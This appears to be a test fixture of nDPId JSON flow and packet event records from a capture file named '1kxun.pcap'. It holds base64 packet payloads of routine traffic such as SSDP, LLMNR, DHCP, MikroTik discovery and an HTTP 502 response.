+01771{"flow_id":96,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":883,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":321439,"pkt_caplen":1055,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1055,"pkt_l4_len":1021,"pkt":"ABxCjnAxABAj4ACgCABFAAQRfPlAAEAGwEHAqHNLwKgFEAG70XnKmf15cASki1AYAEbK0gAAFwMDAXAivDLpMDSJ1BFgOy88YARAXMFzVED6zOD1qoohMjUqgMUnTHNPlFiVefTTaOY6Kj5i2KPf54UqTnSZsjZnzuy2iBoCmUIIlMI3falggatriH7kywlofKW1Fb46\/b4RHKWA83W9R4NTMDprMOVQAagC+iZdexanADj0Li0OYRl357uBgaC7y2P7rRo7uQwD34NK+UNNmoMS+RxVvw4kvvNXUOKEtwvJyvX6BTWQECHSbIwdnm0FLy7KgzwlzpLxlP0AVqNF2bTwr3HOjm\/KkGlofxUIR6pKBLiP31DZ6mgvxYZa4YuJYX6WGUAwUiADWFvtZucG65webqllfKbASvFc3dYcfaw24tjvl7Q8AyMkDUS2ulUzyphbFTo4ANFk94OCBQwrRfynIQWQVokPuNSY7HtIeHzL9ol2Ma6WgzuFBxNwLcse0HUAGVvkLVY7O9aRegpGrcldno97HmEaQvg648TkBeky\/nvOH70RgVCOtRcDAwAw\/lTrgivzwBJMGhRyLlLYLiXhtZ99UIfFc7+mvRhB1tiusTC4KzY+RE7Cw8wBcACWFwMDAdAJeu4BjWyq8HVFfmOvjoqJ04X97mn8GoZOH906x\/nUN0A7oIvNNwxS8+hAfq0cgzS3tqdM5MAyG5+fqD1pqdz9u2xPwcjUf26vJibYE4nY5b5gzBL6sTdSj9oekiBNZZH00wFfs2F0UO2IkKWgoQ85NOMHbXARengs77DfKhkLYiOdaj8xFCb07\/PmwPANYIlDSS8hXqcnauJc9zveRYijjmzfUDqDZ0T1MoYSh\/aUYU6HfftRSJB62hf8mgbS+XSRmpxj9mCIHSmUHFVZCilogECoaRoKq8HLBeLYIcjpOMqdFw15sJxBDziRdV\/qr+iGJle5xJli4725jz0QU8mBfeAbKN8qiFQ\/6xwW8IU3g+MzWb5j4nghlcqP7ctpMjwKdeCBW\/Pa11xblqgzMDszZntNwhk2w7VRD8mfr7xpg6D5saj\/oB4MViSquHicp43Yx1gbYopUV\/sq+tp69bRVCo+uX8x8y3v+gCwx5s4Lo8pU\/8JvFwqnVh4XOa\/a43NsqCY\/UcrZs\/pyVXm78+QHz18ouSgCWWm7NZh0hlIxj0FsAkOtrLaKeQ2YIL6uL\/4tMwJzJ6AB2xJHpIsmcpRHWDYK\/AfkMbT6ROv5WUWIJRcDAwAw\/+LaUJExgonYfatxbQ\/Cmd8YuvGV36BW\/fhZO21NU7cCOeyXIYnVAjPDfLkE8qOZFwMDADC0W+DFYEd42GtXIMwDWPtd9Himnjpz3e0aY9XP0tU3zsi51dhS38qAlHin8D0t4Yk="} +00416{"flow_id":96,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":884,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":321490,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAo7r1AAEAGUmbAqAUQwKhzS9F5AbtwBKSLypoBYlAQH+DihgAAtolxFcMt"} +00859{"flow_id":63,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":398464,"pkt_caplen":390,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":390,"pkt_l4_len":356,"pkt":"ABxCjnAxTF4M6gNlCABFAAF48IhAADUGS9BE6f2FwKgFEABQ0Xh2OPC\/HrFHw4AYAB8klwAAAQEICs8eTSUaD2oWSFRUUC8xLjEgNTAyIEJhZCBHYXRld2F5DQpTZXJ2ZXI6IE1TZXJ2ZXIgMS4yLjINCkRhdGU6IFR1ZSwgMDIgQXVnIDIwMTYgMDE6NTg6NDYgR01UDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KQ29udGVudC1MZW5ndGg6IDE2Ng0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo8aHRtbD4NCjxoZWFkPjx0aXRsZT41MDIgQmFkIEdhdGV3YXk8L3RpdGxlPjwvaGVhZD4NCjxib2R5IGJnY29sb3I9IndoaXRlIj4NCjxjZW50ZXI+PGgxPjUwMiBCYWQgR2F0ZXdheTwvaDE+PC9jZW50ZXI+DQo8aHI+PGNlbnRlcj5uZ2lueDwvY2VudGVyPg0KPC9ib2R5Pg0KPC9odG1sPg0K"} +00424{"flow_id":63,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":398523,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA015FAAEAGWwvAqAUQROn9hdF4AFAesUfDdjjyA4AQEAEc7wAAAQEIChoPatnPHk0l"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":887,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":97,"flow_packet_id":1,"flow_first_seen":1470104402518,"flow_last_seen":0,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":143,"flow_max_l4_data_len":143,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.1","dst_ip":"255.255.255.255","src_port":56861,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00588{"flow_id":97,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":518151,"pkt_caplen":177,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":177,"pkt_l4_len":143,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAACjAABAAEARAqHAqHcB\/\/\/\/\/94dFi4Aj\/bjAAFSEAABAAZMXgzqA2UABQAHMzAwTU5BVAAHAA82LjM1LjEgKHN0YWJsZSkACAAITWlrcm9UaWsACgAEf5YkAAALAAlBWFJKLVg2U0cADAAGUkI0NTBHAA4AAQEADwAQIAGwMAIUAQAAAAAAAAAAAQAQABNldGhlcjItbWFzdGVyLWxvY2Fs"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":888,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":98,"flow_packet_id":1,"flow_first_seen":1470104402518,"flow_last_seen":0,"flow_tot_l4_data_len":143,"flow_min_l4_data_len":143,"flow_max_l4_data_len":143,"flow_avg_l4_data_len":143,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::4e5e:cff:feea:365","dst_ip":"ff02::1","src_port":5678,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00607{"flow_id":98,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":888,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":518258,"pkt_caplen":197,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":197,"pkt_l4_len":143,"pkt":"MzMAAAABTF4M6gNlht1gAAAAAI8RAf6AAAAAAAAATl4M\/\/7qA2X\/AgAAAAAAAAAAAAAAAAABFi4WLgCPm0oAAVIRAAEABkxeDOoDZQAFAAczMDBNTkFUAAcADzYuMzUuMSAoc3RhYmxlKQAIAAhNaWtyb1RpawAKAAR\/liQAAAsACUFYUkotWDZTRwAMAAZSQjQ1MEcADgABAQAPABAgAbAwAhQBAAAAAAAAAAABABAAE2V0aGVyMi1tYXN0ZXItbG9jYWw="} +01001{"flow_id":91,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":889,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":518736,"pkt_caplen":491,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":491,"pkt_l4_len":457,"pkt":"AQBef\/\/66LH8q\/uyCABFAAHdCfUAAAQR9UfAqAUx7\/\/\/+gdsB2wByURxTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly8xOTIuMTY4LjUuNDk6Mjg2OS91cG5waG9zdC91ZGhpc2FwaS5kbGw\/Y29udGVudD11dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KVVNOOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01034{"flow_id":92,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":890,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":518845,"pkt_caplen":519,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":519,"pkt_l4_len":465,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAdERBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAHR82ROT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1dWlkOjkzMTkzOTVhLTRkMDMtNDc1MC1iYjFiLTQ2NjM5MzNhYjgxMg0KTlRTOiBzc2RwOmFsaXZlDQpMb2NhdGlvbjogaHR0cDovL1tmZTgwOjo5YmQ6ODFkZDoyZmRjOjU3NTBdOjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":891,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1470104402624,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":49735,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":99,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":624102,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACMRAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQADwkcU6wAjpJ6zfgAAAAEAAAAAAAAJV0FOR1MtTFRXAAD\/AAE="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":891,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":99,"flow_packet_id":1,"flow_first_seen":1470104402624,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::5d92:62a8:ebde:1319","dst_ip":"ff02::1:3","src_port":49735,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":892,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1470104402624,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":62069,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00430{"flow_id":100,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":624153,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8PKn0WgOECABFAAA3H1kAAAER9MzAqAPs4AAA\/PJ1FOsAI4uZs34AAAABAAAAAAAACVdBTkdTLUxUVwAA\/wAB"} +00507{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":892,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1470104402624,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.3.236","dst_ip":"224.0.0.252","src_port":62069,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00583{"flow_id":82,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":624418,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6bEAIlAI6CABFAACl1ocAAAERLO7AqAUw7\/\/\/+sIlB2wAkY1JTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00458{"flow_id":99,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":894,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":724346,"pkt_caplen":89,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":89,"pkt_l4_len":35,"pkt":"MzMAAQADPKn0WgOEht1gAAAAACMRAf6AAAAAAAAAXZJiqOveExn\/AgAAAAAAAAAAAAAAAQADwkcU6wAjpJ6zfgAAAAEAAAAAAAAJV0FOR1MtTFRXAAD\/AAE="} +00430{"flow_id":100,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104402,"pkt_ts_usec":724804,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"AQBeAAD8PKn0WgOECABFAAA3H1wAAAER9MnAqAPs4AAA\/PJ1FOsAI4uZs34AAAABAAAAAAAACVdBTkdTLUxUVwAA\/wAB"} +00581{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":29310,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6uKxv2MGbCABFAAClQRcAAAQRv1zAqAUy7\/\/\/+vyiB2wAkVLKTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00988{"flow_id":91,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":29533,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"AQBef\/\/66LH8q\/uyCABFAAHUCfYAAAQR9U\/AqAUx7\/\/\/+gdsB2wBwMqTTk9USUZZICogSFRUUC8xLjENCkhvc3Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpOVDogdXBucDpyb290ZGV2aWNlDQpOVFM6IHNzZHA6YWxpdmUNCkxvY2F0aW9uOiBodHRwOi8vMTkyLjE2OC41LjQ5OjI4NjkvdXBucGhvc3QvdWRoaXNhcGkuZGxsP2NvbnRlbnQ9dXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTINClVTTjogdXVpZDo5MzE5Mzk1YS00ZDAzLTQ3NTAtYmIxYi00NjYzOTMzYWI4MTI6OnVwbnA6cm9vdGRldmljZQ0KQ2FjaGUtQ29udHJvbDogbWF4LWFnZT05MDANClNlcnZlcjogTWljcm9zb2Z0LVdpbmRvd3MvMTAuMCBVUG5QLzEuMCBVUG5QLURldmljZS1Ib3N0LzEuMA0KT1BUOiJodHRwOi8vc2NoZW1hcy51cG5wLm9yZy91cG5wLzEvMC8iOyBucz0wMQ0KMDEtTkxTOiBkMDdiNDM1ZDI5OWI0MTc4NGNhM2QyYWUyYjk1OTk0OA0KDQo="} +01021{"flow_id":92,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":29586,"pkt_caplen":510,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":510,"pkt_l4_len":456,"pkt":"MzMAAAAM6LH8q\/uyht1gAAAAAcgRBP6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAAAMB2wHbAHIeYdOT1RJRlkgKiBIVFRQLzEuMQ0KSG9zdDogW0ZGMDI6OkNdOjE5MDANCk5UOiB1cG5wOnJvb3RkZXZpY2UNCk5UUzogc3NkcDphbGl2ZQ0KTG9jYXRpb246IGh0dHA6Ly9bZmU4MDo6OWJkOjgxZGQ6MmZkYzo1NzUwXToyODY5L3VwbnBob3N0L3VkaGlzYXBpLmRsbD9jb250ZW50PXV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyDQpVU046IHV1aWQ6OTMxOTM5NWEtNGQwMy00NzUwLWJiMWItNDY2MzkzM2FiODEyOjp1cG5wOnJvb3RkZXZpY2UNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9OTAwDQpTZXJ2ZXI6IE1pY3Jvc29mdC1XaW5kb3dzLzEwLjAgVVBuUC8xLjAgVVBuUC1EZXZpY2UtSG9zdC8xLjANCk9QVDoiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsgbnM9MDENCjAxLU5MUzogZDA3YjQzNWQyOTliNDE3ODRjYTNkMmFlMmI5NTk5NDgNCg0K"} +00808{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":29748,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNH4fAgEGAEL4Gb0AAAAAwKgFLMCoBSzAqHcBAAAAAEjSJGMxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00577{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104403,"pkt_ts_usec":29956,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChfjIAAAERhU7AqAUp7\/\/\/+tgQB2wAjcOhTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00492{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1470104398932,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.186","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1470104398932,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.186","dst_ip":"255.255.255.255","src_port":32768,"dst_port":1947,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00475{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_first_seen":1470104397091,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00473{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":94,"flow_packet_id":1,"flow_first_seen":1470104401187,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.50","dst_ip":"224.0.0.252","src_port":50030,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":1,"flow_first_seen":1470104393610,"flow_last_seen":0,"flow_tot_l4_data_len":58,"flow_min_l4_data_len":58,"flow_max_l4_data_len":58,"flow_avg_l4_data_len":58,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.45","dst_ip":"192.168.255.255","src_port":59461,"dst_port":137,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":89,"flow_packet_id":1,"flow_first_seen":1470104399959,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::e034:7be:d8f9:6197","dst_ip":"ff02::1:3","src_port":62756,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1470104400983,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1470104400983,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00472{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":84,"flow_packet_id":1,"flow_first_seen":1470104398832,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.64","dst_ip":"224.0.0.251","src_port":5353,"dst_port":5353,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00511{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1470104398314,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53605,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00473{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":904,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1470104398314,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 